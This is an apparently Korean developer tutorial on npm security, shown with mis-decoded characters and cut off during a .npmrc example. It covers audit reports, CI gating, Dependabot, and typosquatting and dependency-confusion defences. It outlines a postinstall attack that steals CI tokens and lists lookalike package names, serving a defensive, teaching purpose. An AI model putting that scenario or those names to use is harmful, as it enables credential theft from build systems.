๐Ÿ” ๋ณด์•ˆ & npm audit โ€” ๊ณต๊ธ‰๋ง ๊ณต๊ฒฉ์—์„œ ํ”„๋กœ์ ํŠธ๋ฅผ ์ง€์ผœ๋ผ

2026๋…„ 3์›” 5์ผ ์ˆ˜์ •๋จ

๐Ÿ“‹ ๊ฐœ์š”

npm audit์˜ ๋™์ž‘ ์›๋ฆฌ๋ถ€ํ„ฐ CI ์ž๋™ํ™”, ํ† ํฐ ๊ด€๋ฆฌ, ๊ณต๊ธ‰๋ง ๊ณต๊ฒฉ ๋ฐฉ์–ด๊นŒ์ง€ โ€” ์‹œ๋‹ˆ์–ด๊ฐ€ ๋‹น์—ฐํžˆ ์•Œ์•„์•ผ ํ•˜๋Š” npm ๋ณด์•ˆ์˜ ๋ชจ๋“  ๊ฒƒ

08. ๋ณด์•ˆ & npm audit

๐Ÿ“‹ ๋ชฉ์ฐจ


๐Ÿ“Œ ์ด ๋ฌธ์„œ๋ฅผ ์ฝ๊ธฐ ์ „์—

โฑ๏ธ ์˜ˆ์ƒ ์ฝ๊ธฐ ์‹œ๊ฐ„: ์•ฝ 30๋ถ„(์ „์ฒด) / ํ•ต์‹ฌ ํŒŒํŠธ๋งŒ: 15๋ถ„

๐Ÿ—บ๏ธ ์ด ๋ฌธ์„œ์˜ ํ๋ฆ„

[npm audit ์›๋ฆฌ] โ†’ [์‹ฌ๊ฐ๋„ ๋“ฑ๊ธ‰ & ๋Œ€์‘] โ†’ [CI ์ž๋™ํ™”] โ†’ [๊ณต๊ธ‰๋ง ๊ณต๊ฒฉ ๋ฐฉ์–ด] โ†’ [ํ† ํฐ & .npmrc ๋ณด์•ˆ]

๐ŸŽฏ ์ด ๋ฌธ์„œ๋ฅผ ๋‹ค ์ฝ์œผ๋ฉด ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ

  • npm audit ๊ฒฐ๊ณผ๋ฅผ ์ •ํ™•ํ•˜๊ฒŒ ํ•ด์„ํ•˜๊ณ  ์šฐ์„ ์ˆœ์œ„๋ฅผ ์ •ํ•  ์ˆ˜ ์žˆ๋‹ค
  • npm audit fix --force ์˜ ์œ„ํ—˜์„ฑ์„ ์ดํ•ดํ•˜๊ณ  ์•ˆ์ „ํ•˜๊ฒŒ ์“ธ ์ˆ˜ ์žˆ๋‹ค
  • GitHub Actions์—์„œ ์ทจ์•ฝ์  ์ž๋™ ๊ฐ์ง€ & ์ฐจ๋‹จ ํŒŒ์ดํ”„๋ผ์ธ์„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค
  • ๊ณต๊ธ‰๋ง ๊ณต๊ฒฉ(Dependency Confusion, Typosquatting)์˜ ํŒจํ„ด์„ ์•Œ๊ณ  ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค
  • npm ํ† ํฐ์„ ์•ˆ์ „ํ•˜๊ฒŒ ๊ด€๋ฆฌํ•˜๊ณ  .npmrc ๋ฅผ ๋ณด์•ˆ ๊ด€์ ์—์„œ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค

๐Ÿ—บ๏ธ ์ด ๋ฌธ์„œ์˜ ๋ฐฐ๊ฒฝ ์„ธ๊ณ„๊ด€: '์˜์ˆ˜๋„ค ์ปค๋ฎค๋‹ˆํ‹ฐ'

  • ๐Ÿฃ ์˜์ฒ  ( ์‹ ์ž… ): "์˜์ˆ˜ ๋‹˜, ๋ฐฐํฌํ•˜๊ณ  ๋‚˜์„œ Slack์— ๊ฐ‘์ž๊ธฐ ์•Œ๋ฆผ์ด ์™”๋Š”๋ฐ์š”... ์ €ํฌ node_modules ์•ˆ์— critical ์ทจ์•ฝ์ ์ด 5๊ฐœ๋‚˜ ์žˆ๋Œ€์š”. ์†”์งํžˆ ์ฒ˜์Œ ๋ณด๋Š” ์–˜๊ธด๋ฐ ์–ด๋–ป๊ฒŒ ํ•ด์•ผ ํ•˜๋‚˜์š”? npm audit fix ํ•œ ๋ฒˆ ๋Œ๋ฆฌ๋ฉด ๋‹ค ํ•ด๊ฒฐ๋˜๋‚˜์š”? ์•„๋‹ˆ๋ฉด ๊ทธ๋ƒฅ ๋ฌด์‹œํ•ด๋„ ๋˜๋Š” ๊ฑด๊ฐ€์š”? ์‚ฌ์šฉ์ž๊ฐ€ ์ง์ ‘ ์“ฐ๋Š” ํŒจํ‚ค์ง€๊ฐ€ ์•„๋‹ˆ๋ผ devDependencies ์ชฝ์ธ ๊ฒƒ ๊ฐ™์€๋ฐ ๊ทธ๋Ÿฌ๋ฉด ๊ดœ์ฐฎ์€ ๊ฑฐ ์•„๋‹Œ๊ฐ€์š”?"
  • ๐Ÿฆ ์˜ํ˜ธ ( ๋ฆฌ๋“œ ): "์˜์ฒ  ๋‹˜, devDependencies ๋‹ˆ๊นŒ ๊ดœ์ฐฎ๋‹ค๋Š” ์ƒ๊ฐ์€ ์ ˆ๋ฐ˜๋งŒ ๋งž์•„์š”. ๋นŒ๋“œ ์„œ๋ฒ„์—์„œ ์•…์„ฑ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋ฉด ์†Œ์Šค์ฝ”๋“œ ์ „์ฒด๊ฐ€ ์œ ์ถœ๋  ์ˆ˜ ์žˆ๊ฑฐ๋“ ์š”. npm audit fix --force ๋Š” ์ง€๊ธˆ ๋‹น์žฅ ๋Œ๋ฆฌ์ง€ ๋งˆ์„ธ์š” โ€” breaking change๊ฐ€ ์„ž์—ฌ ๋“ค์–ด์™€์„œ ๋” ํฐ ์žฅ์• ๋กœ ๋ฒˆ์งˆ ์ˆ˜ ์žˆ์–ด์š”. ๋จผ์ € ์‹ฌ๊ฐ๋„ ๋“ฑ๊ธ‰์„ ๋ถ„๋ฅ˜ํ•˜๊ณ , CI์—์„œ --audit-level ๋กœ ์ฐจ๋‹จ ๊ธฐ์ค€์„ ์žก์€ ๋‹ค์Œ, ์ˆ˜๋™์œผ๋กœ ๋ฒ„์ „์„ ์˜ฌ๋ฆฌ๋Š” ๋ฃจํ‹ด์„ ๋งŒ๋“œ๋Š” ๊ฒŒ ์‹œ๋‹ˆ์–ด ์ˆ˜์ค€์˜ ๋Œ€์‘์ด์—์š”."

๐Ÿค” ์™œ ์•Œ์•„์•ผ ํ•˜๋Š”๊ฐ€

ํŒจํ‚ค์ง€ ํ•˜๋‚˜๊ฐ€ ์ „ ์„ธ๊ณ„๋ฅผ ๋ฉˆ์ถ˜ ๋‚ 

2022๋…„, colors.js ๋ผ๋Š” ํŒจํ‚ค์ง€์— ๋‹จ ํ•˜๋‚˜์˜ ๋ฌดํ•œ ๋ฃจํ”„๊ฐ€ ์‹ฌ์–ด์กŒ๋‹ค. ํ•˜๋ฃจ์•„์นจ์— AWS CDK, Nest.js ์ƒํƒœ๊ณ„๊ฐ€ ๋งˆ๋น„๋๋‹ค. ์ด ํŒจํ‚ค์ง€์˜ ์ฃผ๊ฐ„ ๋‹ค์šด๋กœ๋“œ ์ˆ˜๋Š” ์•ฝ 2,000๋งŒ ๊ฑด ์ด์—ˆ๋‹ค.

2021๋…„์—๋Š” ๋” ์ถฉ๊ฒฉ์ ์ธ ์ผ์ด ์žˆ์—ˆ๋‹ค. ua-parser-js ๋ผ๋Š” ํŒจํ‚ค์ง€(์ฃผ๊ฐ„ 700๋งŒ ๋‹ค์šด๋กœ๋“œ)๊ฐ€ ํ•ดํ‚น๋˜์–ด ํฌ๋ฆฝํ†  ๋งˆ์ด๋„ˆ์™€ ํŒจ์Šค์›Œ๋“œ ํƒˆ์ทจ ์Šคํฌ๋ฆฝํŠธ ๊ฐ€ ์‹ฌ์–ด์ง„ ์ฑ„๋กœ npm์— ๋ฐฐํฌ๋๋‹ค. ์ด ํŒจํ‚ค์ง€๋ฅผ dependencies ๋กœ ์“ฐ๋Š” ์„œ๋น„์Šค์˜ ์‚ฌ์šฉ์ž PC์—์„œ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋๋‹ค.

์˜์ˆ˜๋„ค ์ปค๋ฎค๋‹ˆํ‹ฐ์ฒ˜๋Ÿผ next, @prisma/client, axios, @tanstack/react-query ๋ฅผ ์“ฐ๋Š” ์„œ๋น„์Šค๋ผ๋ฉด, ์ด ํŒจํ‚ค์ง€๋“ค ๊ฐ๊ฐ์ด ๋˜ ์ˆ˜์‹ญ~์ˆ˜๋ฐฑ ๊ฐœ์˜ ๊ฐ„์ ‘ ์˜์กด์„ฑ์„ ๋Œ๊ณ  ์˜จ๋‹ค. ์˜์ฒ ์ด๊ฐ€ package.json ์— ์ง์ ‘ ์ ์€ ์ค„์€ 20์ค„์ด์ง€๋งŒ, ์‹ค์ œ ์„ค์น˜๋˜๋Š” ํŒจํ‚ค์ง€๋Š” ์ˆ˜๋ฐฑ ๊ฐœ๋‹ค.

์ด ์ค‘ ํ•˜๋‚˜๋ผ๋„ ๋šซ๋ฆฌ๋ฉด ์šฐ๋ฆฌ ์„œ๋น„์Šค๋„ ๊ทธ ์—ฐ์‡„ ๋ฐ˜์‘์—์„œ ์ž์œ ๋กญ์ง€ ์•Š๋‹ค.

์ด๊ฒƒ์ด npm ๋ณด์•ˆ์„ "์„ ํƒ"์ด ์•„๋‹Œ "๊ธฐ๋ณธ"์œผ๋กœ ๋‹ค๋ค„์•ผ ํ•˜๋Š” ์ด์œ ๋‹ค.


๐Ÿ” npm audit ํ•ด๋ถ€

npm audit ์€ ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”๊ฐ€

npm audit ์€ ํ˜„์žฌ ํ”„๋กœ์ ํŠธ์˜ ์˜์กด์„ฑ ํŠธ๋ฆฌ๋ฅผ npm Advisory Database ( ๋ฐ GitHub Advisory Database ) ์™€ ๋น„๊ตํ•ด ์•Œ๋ ค์ง„ ์ทจ์•ฝ์ (CVE)์„ ๋ณด๊ณ ํ•œ๋‹ค.

npm audit

๋‚ด๋ถ€ ๋™์ž‘ ์ˆœ์„œ:

1. package-lock.json ํŒŒ์‹ฑ โ†’ ์˜์กด์„ฑ ํŠธ๋ฆฌ ์ „์ฒด ์ˆ˜์ง‘
2. npm ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ audit endpoint (POST /-/npm/v1/security/audits) ์— ๋ชฉ๋ก ์ „์†ก
3. Advisory DB์™€ ๊ต์ฐจ ๋น„๊ต
4. ์ทจ์•ฝ์  ๋ฐœ๊ฒฌ ์‹œ CVE ID, ํŒจํ‚ค์ง€๋ช…, ์˜ํ–ฅ ๋ฒ„์ „ ๋ฒ”์œ„, ์‹ฌ๊ฐ๋„ ๋ฐ˜ํ™˜
5. ํ„ฐ๋ฏธ๋„์— ๋ฆฌํฌํŠธ ์ถœ๋ ฅ

audit ๊ฒฐ๊ณผ ์ฝ๋Š” ๋ฒ•

# npm audit

found 8 vulnerabilities (2 moderate, 4 high, 2 critical)

# Run `npm audit fix` to fix them, or `npm audit fix --force` to fix all of them, including breaking changes.

์ƒ์„ธ ๋ฆฌํฌํŠธ๋Š” npm audit --json ์œผ๋กœ ํŒŒ์‹ฑ ๊ฐ€๋Šฅํ•œ JSON ํ˜•ํƒœ๋กœ ๋ฐ›์„ ์ˆ˜ ์žˆ๋‹ค.

npm audit --json | jq '.vulnerabilities | keys[]'

๐Ÿฆ ์˜ํ˜ธ ๋ฆฌ๋“œ์˜ ํ•ต์‹ฌ ํฌ์ธํŠธ: JSON ๋ฆฌํฌํŠธ ๊ตฌ์กฐ ์ดํ•ด

{
  "vulnerabilities": {
    // ๐Ÿ’ก ๋ฒ”์ธ ๊ฒ€๊ฑฐ! axios ํŒจํ‚ค์ง€์— ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋์Šต๋‹ˆ๋‹ค.
    "axios": {
      "name": "axios",
      "severity": "high", // ๐Ÿฆ ์œ„ํ—˜๋„๊ฐ€ 'high'๋‹ˆ ๋นจ๋ฆฌ ๊ณ ์ณ์•ผ ํ•ด์š”.
      "isDirect": true, // ๐Ÿฏ ๋‚ด package.json์— ์ง์ ‘ ์จ์žˆ๋Š” ๋…€์„์ด๋‹ˆ ๋‚ด๊ฐ€ ์ง์ ‘ ์˜ฌ๋ฆฌ๋ฉด ๋ฉ๋‹ˆ๋‹ค!
      "via": ["GHSA-wf5p-g6vw-rhxx"],
      "effects": ["@tanstack/react-query"],
      "range": ">=0.8.1 <1.6.0",
      "nodes": ["node_modules/axios"],
      "fixAvailable": {
        "name": "axios",
        "version": "1.6.0",
        "isSemVerMajor": false // ๐Ÿ’ก ๋‹คํ–‰ํžˆ Major ์—…๋ฐ์ดํŠธ๊ฐ€ ์•„๋‹ˆ๋‹ˆ ์•ˆ์ „ํ•˜๊ฒŒ ์˜ฌ๋ฆด ์ˆ˜ ์žˆ์–ด์š”!
      }
    }
  },
  "metadata": {
    "vulnerabilities": {
      "total": 8 // ์ „์ฒด 8๊ฐœ์˜ ๊ตฌ๋ฉ(?)์ด ๋ฐœ๊ฒฌ๋์Šต๋‹ˆ๋‹ค.
    }
  }
}

ํ•ต์‹ฌ ํ•„๋“œ ํ•ด์„:

ํ•„๋“œ์˜๋ฏธ
isDirectpackage.json ์— ์ง์ ‘ ๋ช…์‹œ๋œ ์˜์กด์„ฑ ์—ฌ๋ถ€ (true ๋ฉด ๋‚ด๊ฐ€ ์ง์ ‘ ์˜ฌ๋ฆด ์ˆ˜ ์žˆ์Œ)
via์ทจ์•ฝ์  Advisory ID (GitHub Security Advisory)
effects์ด ํŒจํ‚ค์ง€์— ์˜์กดํ•˜๋Š” ์ƒ์œ„ ํŒจํ‚ค์ง€
range์ทจ์•ฝํ•œ ๋ฒ„์ „ ๋ฒ”์œ„
fixAvailable.isSemVerMajor์ˆ˜์ • ๋ฒ„์ „์ด Major ์—…๊ทธ๋ ˆ์ด๋“œ์ธ์ง€ ์—ฌ๋ถ€ (true ๋ฉด breaking change ๊ฐ€๋Šฅ์„ฑ)

๐Ÿšฆ ์ทจ์•ฝ์  ์‹ฌ๊ฐ๋„ ๋“ฑ๊ธ‰๊ณผ ๋Œ€์‘ ์ „๋žต

5๋‹จ๊ณ„ ์‹ฌ๊ฐ๋„ ๋“ฑ๊ธ‰

๋“ฑ๊ธ‰์„ค๋ช…๋Œ€์‘ SLA์˜ˆ์‹œ
critical์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰, ์ธ์ฆ ์šฐํšŒ ๋“ฑ ์น˜๋ช…์ ์ฆ‰์‹œ (24h ์ด๋‚ด)Prototype Pollution์œผ๋กœ ์„œ๋ฒ„ ์žฅ์•… ๊ฐ€๋Šฅ
high๋ฏผ๊ฐ ์ •๋ณด ๋…ธ์ถœ, SSRF, ReDoS ๋“ฑ72h ์ด๋‚ดaxios์˜ CSRF ์ทจ์•ฝ์ 
moderateDoS, ์ •๋ณด ๋ˆ„์ถœ ๋“ฑ1~2์ฃผ ์ด๋‚ดํŠน์ • ์ž…๋ ฅ์—์„œ ์ •๊ทœ์‹ ํญ๋ฐœ(ReDoS)
low๊ฒฝ๋ฏธํ•œ ์ •๋ณด ๋…ธ์ถœ๋‹ค์Œ ์Šคํ”„๋ฆฐํŠธ๋ฒ„์ „ ์ •๋ณด ๋…ธ์ถœ
info์ทจ์•ฝ์ ์€ ์•„๋‹ˆ์ง€๋งŒ ์ฃผ์˜ ๊ถŒ๊ณ ๊ธฐ๋ก๋งŒdeprecated API ์‚ฌ์šฉ

devDependencies ์ทจ์•ฝ์ ์€ ๋ฌด์‹œํ•ด๋„ ๋ ๊นŒ?

์ ˆ๋ฐ˜๋งŒ ๋งž๋Š” ๋ง์ด๋‹ค.

โœ… ์•ˆ์ „ํ•œ ๊ฒฝ์šฐ: ๋นŒ๋“œ ๊ฒฐ๊ณผ๋ฌผ(๋ฒˆ๋“ค)์— ํฌํ•จ๋˜์ง€ ์•Š๋Š” ์ˆœ์ˆ˜ ๋กœ์ปฌ ๋„๊ตฌ
   ์˜ˆ: eslint, prettier, jest, storybook

โš ๏ธ ์œ„ํ—˜ํ•œ ๊ฒฝ์šฐ:
  1. ๋นŒ๋“œ ์„œ๋ฒ„(CI/CD)์—์„œ ์‹คํ–‰๋˜๋Š” postinstall ์Šคํฌ๋ฆฝํŠธ
  2. ๋นŒ๋“œ ๊ณผ์ •์—์„œ ์ฝ”๋“œ๋ฅผ ์ฝ๊ณ  ์ฒ˜๋ฆฌํ•˜๋Š” webpack plugin, babel plugin
  3. private ํŒจํ‚ค์ง€ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ธ์ฆ ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋˜๋Š” ๊ฒฝ์šฐ

์‹ค์ œ ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค:

1. ์•…์„ฑ ํŒจํ‚ค์ง€๊ฐ€ devDependency ๋กœ ์„ค์น˜๋จ
2. package.json ์˜ postinstall ์Šคํฌ๋ฆฝํŠธ ์ž๋™ ์‹คํ–‰
3. ๋นŒ๋“œ ์„œ๋ฒ„์˜ ํ™˜๊ฒฝ๋ณ€์ˆ˜(GITHUB_TOKEN, AWS_SECRET_KEY) ํƒˆ์ทจ
4. ์†Œ์Šค์ฝ”๋“œ ์ „์ฒด ์™ธ๋ถ€ ์ „์†ก

์ฆ‰, CI ํ™˜๊ฒฝ์—์„œ ์‹คํ–‰๋˜๋Š” devDependencies ์ทจ์•ฝ์ ์€ critical ์ˆ˜์ค€์œผ๋กœ ๋‹ค๋ค„์•ผ ํ•œ๋‹ค.


๐Ÿ”ง npm audit fix โ€” ์ž๋™ ์ˆ˜์ •์˜ ๋ช…๊ณผ ์•”

npm audit fix (์•ˆ์ „ํ•œ ๋ฒ„์ „)

SemVer ๋ฒ”์œ„ ๋‚ด์—์„œ๋งŒ ์—…๊ทธ๋ ˆ์ด๋“œํ•œ๋‹ค. ^ ๋ฒ„์ „ ์ œ์•ฝ ์กฐ๊ฑด ์•ˆ์—์„œ ์›€์ง์ด๋ฏ€๋กœ breaking change ๊ฐ€ ๊ฑฐ์˜ ์—†๋‹ค.

npm audit fix
# ์‹คํ–‰ ๊ฒฐ๊ณผ ์˜ˆ์‹œ
fixed 4 of 8 vulnerabilities in 312 packages
  4 vulnerabilities required manual review and could not be updated

npm audit fix --force (์œ„ํ—˜ํ•œ ๋ฒ„์ „)

Major ๋ฒ„์ „ ์—…๊ทธ๋ ˆ์ด๋“œ, ์ฆ‰ breaking change ๋ฅผ ํฌํ•จํ•œ ๋ชจ๋“  ์ž๋™ ์ˆ˜์ •์„ ๊ฐ•ํ–‰ํ•œ๋‹ค.

# ๐Ÿšจ ์ฃผ์˜: ์ด ๋ช…๋ น์€ ์‹ ์ค‘ํ•˜๊ฒŒ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค
npm audit fix --force

๐Ÿฃ ์˜์ฒ ์ด๊ฐ€ ์ž์ฃผ ์ €์ง€๋ฅด๋Š” ์‹ค์ˆ˜:

# โŒ ์ˆœ์ง„ํ•œ ์ ‘๊ทผ โ€” "๊ทธ๋ƒฅ ๋‹ค ๊ณ ์ณ๋ฒ„๋ฆฌ์ž"
npm audit fix --force
git add .
git commit -m "fix: ๋ณด์•ˆ ์ทจ์•ฝ์  ์ˆ˜์ •"
git push origin main

๐Ÿฆ ์˜ํ˜ธ ๋ฆฌ๋“œ์˜ ์•ˆ์ „ํ•œ ๋Œ€์‘ ๋ฃจํ‹ด:

# โœ… ์‹œ๋‹ˆ์–ด์˜ ์ ‘๊ทผ โ€” ๋‹จ๊ณ„๋ณ„๋กœ ์•ˆ์ „ํ•˜๊ฒŒ
 
# Step 1: ํ˜„ํ™ฉ ํŒŒ์•…
npm audit --json > audit-report.json
jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical" or .value.severity == "high") | .key' audit-report.json
 
# Step 2: isDirect ์ธ ์ทจ์•ฝ์ ๋งŒ ๋จผ์ € ์ˆ˜๋™ ์—…๊ทธ๋ ˆ์ด๋“œ
npm install axios@latest
npm install next@latest
 
# Step 3: ๊ฐ„์ ‘ ์˜์กด์„ฑ์€ overrides ๋กœ ๊ณ ์ •
# package.json ์— ์ถ”๊ฐ€:
# "overrides": {
#   "semver": "^7.5.4"
# }
 
# Step 4: SemVer ์•ˆ์ „ ๋ฒ”์œ„ ๋‚ด ์ž๋™ ์ˆ˜์ •
npm audit fix
 
# Step 5: ํ…Œ์ŠคํŠธ ์‹คํ–‰ ํ›„ ์ปค๋ฐ‹
npm run test
npm run build
git add package.json package-lock.json
git commit -m "fix: npm audit ์ทจ์•ฝ์  ์ˆ˜๋™ ์ˆ˜์ • (axios, semver)"

overrides ๋กœ ๊ฐ„์ ‘ ์˜์กด์„ฑ ํ•€ ๊ณ ์ •

// package.json
{
  "overrides": {
    // ๐Ÿฆ "semver"๋ผ๋Š” ํŒจํ‚ค์ง€๊ฐ€ ์–ด๋”” ๊นŠ์ˆ™์ด ์ˆจ์–ด์žˆ๋“  ๊ฐ„์—, ๋ฌด์กฐ๊ฑด ^7.5.4 ๋ฒ„์ „์„ ์จ๋ผ!
    // ๊ฐ„์ ‘ ์˜์กด์„ฑ ์ทจ์•ฝ์ ์„ ์žก๋Š” ๊ฐ€์žฅ ๊ฐ•๋ ฅํ•œ ๋ฌด๊ธฐ์ž…๋‹ˆ๋‹ค.
    "semver": "^7.5.4",
    // ํŠน์ • ํŒจํ‚ค์ง€(node-forge)๊ฐ€ ์“ฐ๋Š” ๊ฒƒ๋งŒ ์ฝ• ์ง‘์–ด์„œ ๋ฐ”๊ฟ€ ์ˆ˜๋„ ์žˆ์–ด์š”.
    "node-forge": {
      "semver": "^7.5.4"
    }
  }
}

โš™๏ธ CI ํŒŒ์ดํ”„๋ผ์ธ์—์„œ audit ์ž๋™ํ™”

--audit-level ํ”Œ๋ž˜๊ทธ

CI์—์„œ๋Š” ํŠน์ • ์‹ฌ๊ฐ๋„ ์ด์ƒ์ด๋ฉด ํŒŒ์ดํ”„๋ผ์ธ์„ ์‹คํŒจ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

# critical, high ์ทจ์•ฝ์ ์ด ์žˆ์œผ๋ฉด exit code 1 (๋นŒ๋“œ ์‹คํŒจ)
npm audit --audit-level=high
 
# moderate ์ด์ƒ์ด๋ฉด ์‹คํŒจ
npm audit --audit-level=moderate

GitHub Actions ์™„์„ฑํ˜• ์„ค์ •

# .github/workflows/security-audit.yml
name: Security Audit
 
on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]
  # ๐Ÿฆ ๋งค์ผ ์˜ค์ „ 9์‹œ์—๋„ ์ž๋™ ์‹คํ–‰ (์ƒˆ๋กœ ๋ฐœ๊ฒฌ๋œ CVE ๋Œ€์‘)
  schedule:
    - cron: '0 0 * * 1-5'  # ํ‰์ผ ๋งค์ผ UTC 00:00 (KST 09:00)
 
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
 
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version-file: '.nvmrc'
          cache: 'npm'
 
      - name: Install dependencies
        # ๐Ÿฆ CI์—์„œ๋Š” npm ci โ€” lockํŒŒ์ผ ๊ธฐ์ค€์œผ๋กœ ์™„์ „ ์žฌํ˜„
        run: npm ci
 
      - name: Run security audit
        # high, critical ์—์„œ ๋นŒ๋“œ ์ฐจ๋‹จ
        run: npm audit --audit-level=high
        # ๐Ÿฃ ์˜์ฒ : "moderate ๋„ ๋ง‰์•„์•ผ ํ•˜์ง€ ์•Š๋‚˜์š”?"
        # ๐Ÿฆ ์˜ํ˜ธ: "moderate ๊นŒ์ง€ ๋ง‰์œผ๋ฉด false positive ๊ฐ€ ๋„ˆ๋ฌด ๋งŽ์•„์„œ ํŒ€์ด ์ง€์ณ์š”.
        #          high/critical ์ฐจ๋‹จ + moderate ๋Š” ์ด์Šˆ ์ƒ์„ฑ์œผ๋กœ ๊ด€๋ฆฌํ•˜๋Š” ๊ฒŒ ํ˜„์‹ค์ ์ด์—์š”."
 
      - name: Create issue on audit failure
        if: failure()
        uses: actions/github-script@v7
        with:
          script: |
            const { data: issues } = await github.rest.issues.listForRepo({
              owner: context.repo.owner,
              repo: context.repo.repo,
              labels: 'security',
              state: 'open'
            });
 
            // ์ด๋ฏธ ์—ด๋ฆฐ security ์ด์Šˆ๊ฐ€ ์—†์„ ๋•Œ๋งŒ ์ƒˆ๋กœ ์ƒ์„ฑ
            if (issues.length === 0) {
              await github.rest.issues.create({
                owner: context.repo.owner,
                repo: context.repo.repo,
                title: '๐Ÿšจ [Security] npm audit ์ทจ์•ฝ์  ๊ฐ์ง€',
                body: `## ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ๊ฐ์ง€๋˜์—ˆ์Šต๋‹ˆ๋‹ค\n\n- ๋ฐœ์ƒ ์‹œ๊ฐ: ${new Date().toISOString()}\n- ์›Œํฌํ”Œ๋กœ์šฐ: ${{ github.workflow }}\n- ์ปค๋ฐ‹: ${{ github.sha }}\n\n\`npm audit\` ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•˜๊ณ  ์ฆ‰์‹œ ์กฐ์น˜ํ•ด์ฃผ์„ธ์š”.`,
                labels: ['security', 'high-priority']
              });
            }

Dependabot ์ž๋™ PR ์„ค์ •

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
      time: "09:00"
      timezone: "Asia/Seoul"
    # ๐Ÿฆ ํ•œ ๋ฒˆ์— ๋„ˆ๋ฌด ๋งŽ์€ PR ์ด ์—ด๋ฆฌ๋ฉด ํŒ€์ด ์ง€์นจ โ€” ์ƒํ•œ์„  ์„ค์ •
    open-pull-requests-limit: 5
    # Major ์—…๊ทธ๋ ˆ์ด๋“œ๋Š” ์ˆ˜๋™์œผ๋กœ๋งŒ
    ignore:
      - dependency-name: "next"
        update-types: ["version-update:semver-major"]
      - dependency-name: "react"
        update-types: ["version-update:semver-major"]
    reviewers:
      - "youngho-lead"
    labels:
      - "dependencies"
      - "security"

๐Ÿ›ก๏ธ ๊ณต๊ธ‰๋ง ๊ณต๊ฒฉ ๋ฐฉ์–ด โ€” ์ง„์งœ ์‹œ๋‹ˆ์–ด์˜ ์˜์—ญ

๊ณต๊ฒฉ ์œ ํ˜• 1: Typosquatting (์˜คํƒ€ ๋‚š์‹œ)

์œ ๋ช… ํŒจํ‚ค์ง€์™€ ๋น„์Šทํ•œ ์ด๋ฆ„์˜ ์•…์„ฑ ํŒจํ‚ค์ง€๋ฅผ npm ์— ๋“ฑ๋กํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

๐Ÿ“ฆ ์ •์ƒ ํŒจํ‚ค์ง€         ๐ŸŽฃ ์•…์„ฑ ํƒ€์ดํฌ์Šค์ฟผํŒ…
lodash               1odash (์†Œ๋ฌธ์ž L โ†’ ์ˆซ์ž 1)
react                reect
express              expres
@babel/core          babe1/core

๋ฐฉ์–ด๋ฒ•: ์„ค์น˜ ์ „ ๋ฐ˜๋“œ์‹œ ํ™•์ธ

# ํŒจํ‚ค์ง€ ์ •๋ณด ํ™•์ธ โ€” ์ฃผ๊ฐ„ ๋‹ค์šด๋กœ๋“œ ์ˆ˜, ์ตœ์ดˆ ํผ๋ธ”๋ฆฌ์‹œ ๋‚ ์งœ, ์œ ์ง€๋ณด์ˆ˜์ž ํ™•์ธ
npm info lodash
 
# ๊ณต์‹ GitHub URL ์ด ์žˆ๋Š”์ง€ ํ™•์ธ
npm info lodash homepage
 
# ๐Ÿฃ ์˜์ฒ ์ด๊ฐ€ ๋ชจ๋ฅด๋ฉด ๋‹นํ•  ์ˆ˜ ์žˆ๋Š” ํŒจํ„ด:
# npm install @yarnpkg/lockfile  โ† ์ •์ƒ
# npm install @yarmpkg/lockfile  โ† m์ด ๋น ์ง„ ์•…์„ฑ ํŒจํ‚ค์ง€

๊ณต๊ฒฉ ์œ ํ˜• 2: Dependency Confusion

๋‚ด๋ถ€ private ํŒจํ‚ค์ง€์™€ ๊ฐ™์€ ์ด๋ฆ„์„ public npm ์— ๋“ฑ๋กํ•˜์—ฌ, CI ์„œ๋ฒ„๊ฐ€ public ์•…์„ฑ ํŒจํ‚ค์ง€๋ฅผ ์„ค์น˜ํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

์ƒํ™ฉ: ์˜์ˆ˜๋„ค ์ปค๋ฎค๋‹ˆํ‹ฐ ๋‚ด๋ถ€ ํŒจํ‚ค์ง€ @youngsu/ui-components ์‚ฌ์šฉ ์ค‘
      ์‚ฌ๋‚ด Verdaccio (private registry) ์—์„œ๋งŒ ๋ฐฐํฌ

๊ณต๊ฒฉ: ํ•ด์ปค๊ฐ€ public npm ์— @youngsu/ui-components ๋™์ผ ์ด๋ฆ„ + ๋†’์€ ๋ฒ„์ „ ๋“ฑ๋ก
      npm ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋” ๋†’์€ ๋ฒ„์ „์„ ์„ ํ˜ธํ•˜๋ฏ€๋กœ public ์•…์„ฑ ํŒจํ‚ค์ง€ ์„ค์น˜

๋ฐฉ์–ด๋ฒ•: ์Šค์ฝ”ํ”„๋ฅผ private registry ์— ๊ณ ์ •

# .npmrc
# ๐Ÿฆ [์ฒ ํ†ต ๋ณด์•ˆ] ์šฐ๋ฆฌ ํŒ€ ์ „์šฉ ์Šค์ฝ”ํ”„(@youngsu)๋Š” ์™ธ๋ถ€npm์ด ์•„๋‹ˆ๋ผ ์‚ฌ๋‚ด ์„œ๋ฒ„์—์„œ๋งŒ ๊ฐ€์ ธ์™€!
